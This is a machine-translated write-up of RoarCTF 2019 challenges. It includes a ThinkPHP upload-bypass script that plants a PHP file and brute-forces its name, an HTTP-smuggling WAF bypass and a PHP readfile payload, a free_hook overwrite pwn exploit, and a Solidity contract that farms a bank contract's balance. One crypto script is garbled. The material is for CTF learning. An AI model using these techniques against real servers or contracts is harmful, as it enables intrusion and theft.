The author's original Qftm release: https://xz.aliyun.com/t/6576
Misc
Sign in problem
RoarCTF {check in!!! }
Six years of gold
There is a section of base64 at the end of the file, which can be seen as a compressed package when decoded to hexadecimal.
Password required to open compressed package
Frame with pr
It can be seen that there are two-dimensional codes in some frames, and key iwantplay CTF can be obtained by scanning the codes in turn.
forensic
Directly up volatile
It is recommended to use Win7SP1x86 for profile.
View process
volatility -f mem.raw pslist --profile=Win7SP1x86
You can see the following notable processes:
Dump.exe is a memory image extraction tool.
TrueCrypt.exe is a disk encryption tool.
Notepad.exe the notepad that comes with windows.
Mspaint,exe windows comes with drawing tool.
By looking at userassist, you can see that notepad mspaint has no data in memory when it extracts memory. By viewing the files in the user's Home directory, you can find that there is a picture file saved by the user.
volatility -f mem.raw --profile=Win7SP1x86 filescan|grep -v Temporary |grep -v .dll|grep -E 'png|jpg|gif|zip|rar|7z|pdf'
dump the picture
You can also find that dump.exe is on the desktop by viewing the desktop file. The default file generated by dump.exe is {hash}.raw, and the default save path is the path where dump.exe is located.
Try to dump the raw image at 0x000000001fca1130. It is found that there is no data in the file, so it is judged that dump.exe is still running at the time of forensics, and the memory image of dump.exe is under dump.
Analysis of memory image of dump.exe
Guess the password is the distorted text in that picture.
It has to be said that there are several positions that are difficult to recognize, such as the first character is the number 1 or the letter l or the letter I, those with the same length of case are upper case or lower case, and the middle one is y or g. Direct mask burst
ThankGame
Decompile with dnspy, key code:
public static void WinGame() { if (!winGame && ((nDestroyNum == 4) || (nDestroyNum == 5))) { string str = "clearlove9"; for (int i = 0; i < 0x15; i++) { for (int j = 0; j < 0x11; j++) { str = str + MapState[i, j].ToString(); } } if (Sha1(str) == "3F649F708AAFA7A0A94138DC3022F6EA611E8D01") { FlagText._instance.gameObject.SetActive(true); FlagText.str = "RoarCTF{wm-" + Md5(str) + "}"; winGame = true; } } } public static string Md5(string str) { byte[] bytes = Encoding.UTF8.GetBytes(str); byte[] buffer2 = MD5.Create().ComputeHash(bytes); StringBuilder builder = new StringBuilder(); foreach (byte num in buffer2) { builder.Append(num.ToString("X2")); } return builder.ToString().Substring(0, 10); } private void OnTriggerEnter2D(Collider2D collision) { int x = (int) collision.gameObject.transform.position.x; int y = (int) collision.gameObject.transform.position.y; switch (collision.tag) { case "Tank": if (!this.isPlayerBullect) { collision.SendMessage("Die"); UnityEngine.Object.Destroy(base.gameObject); } break; case "Heart": MapManager.MapState[x + 10, y + 8] = 9; MapManager.nDestroyNum++; collision.SendMessage("Die"); UnityEngine.Object.Destroy(base.gameObject); break; case "Enemy": if (this.isPlayerBullect) { collision.SendMessage("Die"); UnityEngine.Object.Destroy(base.gameObject); } break; case "Wall": MapManager.MapState[x + 10, y + 8] = 8; MapManager.nDestroyNum++; UnityEngine.Object.Destroy(collision.gameObject); UnityEngine.Object.Destroy(base.gameObject); break; case "Barrier": if (this.isPlayerBullect) { collision.SendMessage("PlayAudio"); } UnityEngine.Object.Destroy(base.gameObject); break; } }
Wall 1 is replaced by 8, home 0 is replaced by 9, 66 variables, and 4 or 5 positions need to be changed. First, burst 66 * 65 * 64 * 63 to get the first 10 bytes of md5 and get the flag. The details are shown in the figure below:
Web
simple_upload
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index() { show_source(__FILE__); } public function upload() { $uploadFile = $_FILES['file'] ; if (strstr(strtolower($uploadFile['name']), ".php") ) { return false; } $upload = new \Think\Upload();// Instantiate upload class $upload->maxSize = 4096 ;// Set attachment upload size $upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// Set attachment upload type $upload->rootPath = './Public/Uploads/';// Set attachment upload directory $upload->savePath = '';// Set attachment upload subdirectory $info = $upload->upload() ; if(!$info) {// Upload error message $this->error($upload->getError()); return; }else{// Upload succeeded in obtaining the uploaded file information $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ; echo json_encode(array("url"=>$url,"success"=>1)); } } }
ThinkPHP uploads file names incrementally by default. The suffix filtering of ThinkPHP in the code is invalid, so we can bypass the judgment of. php suffix by uploading multiple files, but we can't get the uploaded file name, so we need to explode. The specific steps are as follows:
1. Write a script to upload a normal file, upload multiple files, and upload a normal file. Get the file name of the first three uploads.
import requests url = "http://lo408dybroarctf.4hou.com.cn:34422/index.php/Home/Index/upload" files1 = {'file': open('ma.txt','r')} files2 = {'file[]': open('ma.php','r')} r = requests.post(url,files=files1) print(r.text) r = requests.post(url,files=files2) print(r.text) r = requests.post(url,files=files1) print(r.text)
2. Multithread all filenames between the first three filenames.
This is the first script written for single thread blasting. Later, I felt too tired, so I took the open-source scanner dirfuzz and changed it to a multi-threaded version. Finally, the multi thread blasting is successful.
import requests #{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bb3645.txt","success":1} #{"url":"\/Public\/Uploads\/","success":1} #{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bd6f0a.txt","success":1} s = "1234567890abcdef" for i in s: for j in s: for k in s: for l in s: url = "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc%s%s%s%s.php"%(i,j,k,l) r = requests.get(url) # print(url) if r.status_code != 404: print(url) break #[+]{"url": "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc7471.php", "status_code": 200, "data": "RoarCTF{wm-22522494528d3de9}\n"}
Burst to php file, you can read the flag directly. It is estimated that the organizer has a script running to change the php file in the background.
easy_calc
The first thing to find out is a calculator.
This question is a modified version of love_math of the national championship. Without the length limit, payload s cannot contain characters such as', '\ t', '\r', '\n', '', '', '' ',' [']'. The difference is that the website adds waf and needs to bypass waf. First of all, we need to bypass waf. When we submit some characters, we will directly 403. After testing, we find that there is an http smuggling vulnerability in the server, which can be used to bypass waf. For details, see https://paper.seebug.org/1048./
Because some characters are forbidden, we can't get flag directly and continue to analyze the payload structure.
Here we use several php math functions.
First of all, we need to construct the payload of the column directory. We must use the scandir function to try to construct the files under the root directory. Scandir can be constructed with the base convert function, but the use of base convert can only solve the utilization of a~z. because the root directory needs / symbol and is not a~z, it needs the hex2bin(dechex(47)) construction method. The dechex() function converts the decimal number to the hexadecimal number. The hex2bin() function converts a string of hexadecimal values to ASCII characters.
Construct read flag, use readfile function, paload: base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36)), the method is similar
easy_java
In this way, the first thought is to download any file, but in the beginning, nothing can be downloaded by GET mode, even the pictures of the directory determined by the website can not be downloaded. Later it was changed to post, ok...
Try to read WEB-INF/web.xml to find the key file location of the operation flag
Decode base64 in the figure, that is, flag.
Re
polyre
Using deflat.py to remove control flow flattening, the encryption algorithm is roughly as follows: input 48, divide 6 groups equally, convert 8 bytes of each group into long type value, encrypt each group, first judge positive and negative, then multiply the value by 2, then cycle 64 times according to positive and negative difference or 0xB0004B7679FA26B3, and finally compare; write inversion operation according to this logic, see dep for inversion operation. Oly.py
origin = [0xbc8ff26d43536296, 0x520100780530ee16, 0x4dc0b5ea935f08ec, 0x342b90afd853f450, 0x8b250ebcaa2c3681, 0x55759f81a2c68ae4] key = 0xB0004B7679FA26B3 data = "" for value in origin: for i in range(0, 64): tail = value & 1 if tail == 1: value = value ^ key value = value // 2 if tail == 1: value = value | 0x8000000000000000 #print(hex(value)) # end for print(hex(value)) j = 0 while (j < 8): data += chr(value & 0xFF) value = value >> 8 j += 1 # end while #end for print(data)
Pwn
ez_op
payload:
#!/usr/bin/env python3 # -*- coding=utf-8 -*- from pwn import * system_addr = 0x08051C60 hook_free = 0x080E09F0 # opcdoe opcode = "" # get stack_addr opcode += """\ push 5 stack_load\ """ # sub hook_free opcode += f"""\ push {hook_free} sub\ """ # value / 4 + 1 opcode += """\ push 4 div push 1 add\ """ # *hook_free = system_addr opcode += f"""\ push {system_addr} stack_set\ """ opcode = f"""\ push {0x6e69622f} push {0x68732f} push {system_addr} push 1 push 4 push 64 stack_load push {hook_free} sub div sub stack_set\ """ OPCODET = { "push": 0x2a3d, "add": 0, "sub": 0x11111, "div": 0x514, "stack_set": 0x10101010, "stack_load": -1 } opcode_list = opcode.split("\n") op_result = [] num_result = [] for op in opcode_list: tmp = op.split(" ") assert tmp[0] in OPCODET op_result.append(str(OPCODET[tmp[0]])) if len(tmp) == 2: num_result.append(str(tmp[1])) result_op = " ".join(op_result) result_num = " ".join(num_result) print(result_op) print(result_num)
Crypto
babyrsa
A mathematical conclusion: for a prime number P, the factorial of (p-1) plus (p-2) is equal to the factorial of (p-2), which can be divided by P, and the factorial of (p-1) can be divided by P (because the factorial of P can be divided by P), which is:
(p-1)!+(p-2)!=p*(p-2) (p-1)!=p*(p-1) (p-2)! % p=1
The decryption script is as follows:
import sympy from Crypto.Util.number import long_to_bytes def egcd(a,b): if a==0: return (b,0,1) else: g,y,x=egcd(b%a,a) return (g,x-(b//a)*y,y) def modinv(a,m): g,x,y=egcd(a,m) if g!=1: raise Exception(" error") else: return x%m a1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407 b1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596 a2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927 b2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026 n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733 c=75700883021669577739329316795450706204502635802310731477156998834710820770245219468703245302009998932067080383977560299708060476222089630209972629755965140317526034680452483360917378812244365884527186056341888615564335560765053550155758362271622330017433403027261127561225585912484777829588501213961110690451987625502701331485141639684356427316905122995759825241133872734362716041819819948645662803292418802204430874521342108413623635150475963121220095236776428 p=1 q=1 i=1 l=0 for i in range(b1+1,a1-1): p *= modinv(i,a1) p %=a1 p=sympy.nextprime(p) print "p=" print p for i in range(b2+1,a2-1): q *=modinv(i,a2) q %=a2 q=sympy.nextprime(q) print "q=" print q r=n/q/p print "r=" print r fn=(p-1)*(q-1)*(r-1) print "fn=" print fn e=4097 d=modinv(e,fn) print "d=" print d m=pow(c,d,n) print "m=" print m print long_to_bytes(m)
Block chain 1
When doing the problem, I found that someone had already done it, and then I looked it as the transaction record of the person who did it. I found that it was collecting wool. I copied one of the records of the person who did it in reverse. The payload contract is as follows:
/** *Submitted for verification at Etherscan.io on 2019-10-08 */ pragma solidity ^0.4.24; contract P_Bank { mapping (address => uint) public balances; uint public MinDeposit = 0.1 ether; Log TransferLog; event FLAG(string b64email, string slogan); constructor(address _log) public { TransferLog = Log(_log); } function Ap() public { if(balances[msg.sender] == 0) { balances[msg.sender]+=1 ether; } } function Transfer(address to, uint val) public { if(val > balances[msg.sender]) { revert(); } balances[to]+=val; balances[msg.sender]-=val; } function CaptureTheFlag(string b64email) public returns(bool){ require (balances[msg.sender] > 500 ether); emit FLAG(b64email, "Congratulations to capture the flag!"); } function Deposit() public payable { if(msg.value > MinDeposit) { balances[msg.sender]+= msg.value; TransferLog.AddMessage(msg.sender,msg.value,"Deposit"); } } function CashOut(uint _am) public { if(_am<=balances[msg.sender]) { if(msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(msg.sender,_am,"CashOut"); } } } function() public payable{} } contract Log { struct Message { address Sender; string Data; uint Val; uint Time; } string err = "CashOut"; Message[] public History; Message LastMsg; function AddMessage(address _adr,uint _val,string _data) public { LastMsg.Sender = _adr; LastMsg.Time = now; LastMsg.Val = _val; LastMsg.Data = _data; History.push(LastMsg); } } contract FatherOwned { address owner; modifier onlyOwner{ if (msg.sender != owner) revert(); _; } } contract Attack { address owner; P_Bank target; constructor(address my) public { owner = my; target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21); target.Ap(); target.Transfer(owner, 1 ether); selfdestruct(owner); } } contract Deploy is FatherOwned { constructor() public { owner = msg.sender; } function getflag() public onlyOwner { P_Bank target; target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21); target.CaptureTheFlag("baiyjrh@gmail.com"); } function ffhhhhhhtest1() public onlyOwner { uint i; for (i=0; i<10; i++){ new Attack(owner); } } function ffhhhhhhtest2() public onlyOwner { uint i; for (i=0; i<30; i++){ new Attack(owner); } } function ffhhhhhhtest3() public onlyOwner { uint i; for (i=0; i<50; i++){ new Attack(owner); } } function ffhhhhhhtest4() public onlyOwner { uint i; for (i=0; i<70; i++){ new Attack(owner); } } }
Smart contract 2
The source code given is different from the actual one. After looking at the transaction of the person made before, we find a function: 0x5ad0ae39.
Reverse to get the approximate Code:
func 0x5ad0ae39(address1, address2, uint, address3) require(allowance[address1][msg.sender] >= uint) require(address3 == msg.sender + 0x32c3edb) balanceOf[address1] -= _value; balanceOf[address2] += _value; allowance[address1][msg.sender] -= _value; //Then there is a function in sol of standard token: function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }
Use the approve function to assign a value to allowance[msg.sender][msg.sender], any value greater than 1000.
And then call 0x5ad0ae39, here is the egg pain, because not blasting this function name, can not directly use remix to do the problem, no way to write code.
The process is as follows:
rsa
According to the title document:
A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x p=next_prime(z*x*y) q=next_prime(z) n=p*q
The direct blow up of equation A gives x*y=166. (one is 2 and the other is 83. I'm too lazy to rewrite the script. It's very popular.)
Then you can get it.
p=next_prime(z*166) q=next_prime(z)
It can be inferred that the values of N and zz166 are relatively close. According to the next ﹣ prime, it can be inferred that the value of sqrt(n/166) is very close to one of p and q, just blow up.
py2 :
import sympy import gmpy2 n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127 #m is the open root of n/166, which is close to one of p q. m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029) m2=842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029*166 k=m p=0 q=0 while (m>10000): if(n%m==0): #print (m) A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x //According to the equation, x and y can be calculated directly a=2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724 x=1 y=1 n=0 c=0 d=0 for x in range(1,100): for y in range(2,100): c=(y+1)/x d=x%y if(d!=0): n=(((y%x)**5)%d)**2019+y**316+c if(n==a): print (x) print (y)
It can be concluded that x=2 y=83
p=next_prime(zxy)
q=next_prime(z)
n=q*p
So we can guess that the values of N and (zxy) z are very close, that is to say, N and z^2166 are very close, so sqrt(n/166) and q are very close. So look for prime near sqrt(n/166).
E is unknown, but the value range of E is relatively small. It can be directly guessed or exploded. The result shows that e is 65537.
Declassified script
import sympy import math import binascii from Crypto.Util.number import long_to_bytes n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127 #m is the approximate value of sqrt(n/166) m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029) c=86974685960185109994565885227776590430584975317324687072143606337834618757975096133503732246558545817823508491829181296701578862445122140544748432956862934052663959903364809344666885925501943806009045214347928716791730159539675944914294533623047609564608561054087106518420308176681346465904692545308790901579479104745664756811301111441543090132246542129700485721093162972711529510721321996972649182594310700996042178757282311887765329548031672904349916667094862779984235732091664623511790424370705655016549911752412395937963400908229932716593592702387850259325784109798223415344586624970470351548381110529919234353 p=0 q=0 #Find q or p near m while(m>100): if(n%m==0): p=m print "p=" print p q=n/p print "q=" print q break m=sympy.nextprime(m) def egcd(a,b): if a==0: return (b,0,1) else: g,y,x=egcd(b%a,a) return (g,x-(b//a)*y,y) def modinv(a,m): g,x,y=egcd(a,m) if g!=1: raise Exception(" error") else: return x%m e=1 d=0 #Blasting e while(e<100000): #try: #e=sympy.nextprime(e) e=65537 #The last successful e d=modinv(e,(p-1)*(q-1)) m=pow(c,d,n) print long_to_bytes(m) m_hex = hex(m)[2:] # try: print m_hex print("ascii:\n%s"%(binascii.a2b_hex(m_hex).decode("utf8"),)) # except: # if(e%10000==0): # print e